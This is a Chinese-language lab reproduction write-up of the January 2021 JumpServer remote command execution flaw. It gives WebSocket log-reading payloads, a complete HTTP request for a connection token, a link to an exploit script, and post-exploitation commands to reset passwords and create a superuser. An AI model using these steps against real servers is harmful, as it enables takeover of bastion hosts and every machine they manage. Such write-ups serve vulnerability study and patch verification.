JumpServer v2.6.1 RCE(遠程代碼執行) 復現總結


簡介

JumpServer 是一款開源的堡壘機,是符合4A規范的運維安全審計系統,通俗來說就是跳板機。

概述

2021年1月15日,JumpServer 發布安全更新,修復了一處遠程命令執行漏洞。由於 JumpServer 某些接口未做授權限制,攻擊者可構造惡意請求獲取敏感信息,或者執行相關操作控制其中所有機器,執行任意命令。

影響版本

JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9

環境搭建

安裝腳本V2.6.1

https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

github 安裝腳本全部是安裝最新版的。
安裝的時候前幾個記得是 no

安裝1.jpg

安裝完后進入提示的目錄運行腳本./jmsctl.sh start
訪問 8080 端口進入 jumpserver
admin:admin 進入控制面板

創建一個管理用戶,因為后面登錄 ssh 是用管理用戶的密碼登陸的

jumpserver創建管理用戶.jpg

創建一個系統用戶

創建系統用戶.jpg

創建一個資產,否則利用不會成功的

創建資產.jpg

對資產進行授權

資產授權.jpg

進入 web 終端,連接成功即可

漏洞復現

我們手工復現可以用以下瀏覽器插件測試
https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

我們可以連接ws://youtip:8080/ws/ops/tasks/log進行測試

發送{"task":"/opt/jumpserver/logs/jumpserver"}查看日志,可以找到 task id,發送{"task":"33xxxxx"}查看詳細信息,但是好像沒什么用。

taskid.jpg

我們可以讀取的日志有以下內容

logs.jpg

這里我們要查看/opt/jumpserver/logs/gunicorn找到 asset_id、system_id、user_id 等三個值

websocket_asset_id.jpg

如果讀到了這三個字段,可以利用/api/v1/users/connection-token/拿到一個 20 秒的 token,使用這個 token 就可以連接 runTTY 執行命令了

burp.jpg

我們發送以下數據包獲得 token

POST DATE

POST /api/v1/authentication/connection-token/?user-only=None HTTP/1.1
Host: 192.168.111.162:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.111.162:8080/ui/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=utf-8
Cookie: csrftoken=D2llrglPXZv8UdXByih2JuEwTtlq22rZAHEmXBdiDxbKMEqfjuN8ZkZJZaen7ikd; sessionid=lpum8cx9ggcpu72omon0a65vbqb4cvc5
Connection: close
Content-Length: 150

{"user": "aff77afe-820c-45c4-b1de-bcbcd320fbeb", "asset":"ae2fd918-ec9b-4900-b864-36d60b46f51a", "system_user":"715e93c0-8a50-4318-8310-4ffd5ae88abc"}

試一下連接 ws,連接成功

success.jpg

腳本自動利用

我們可以用腳本會更方便,先讀取日志獲取三個值

獲取asset_id.jpg

更改一下腳本里的三個值,運行腳本即可獲取 shell

getshell.jpg

后續

拿到權限后可以用以下命令修改 jumpserver 密碼

# 管理密碼忘記了或者重置管理員密碼
$ source /opt/py3/bin/activate
$ cd /opt/jumpserver/apps
$ python manage.py changepassword  <user_name>

# 新建超級用戶的命令如下命令
$ python manage.py createsuperuser --username=user --email=user@domain.com

# 登陸提示密碼過期可以直接點擊忘記密碼, 通過郵箱重置; 如果未設置郵箱, 通過以下代碼重置
$ source /opt/py3/bin/activate
$ cd /opt/jumpserver/apps
$ python manage.py shell
> from users.models import User
> u = User.objects.get(username='admin')  # admin 為你要修改的用戶
> u.reset_password('password')  # password 為你要修改的密碼
> u.save()
或者
> u = User.objects.create(username='admin') # 創建新的用戶

快速安裝腳本/POC&EXP

https://github.com/gardenWhy/JumpServer_RCE

參考

https://www.o2oxy.cn/2921.html
https://blog.riskivy.com/jumpserver-從信息泄露到遠程代碼執行漏洞分析/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM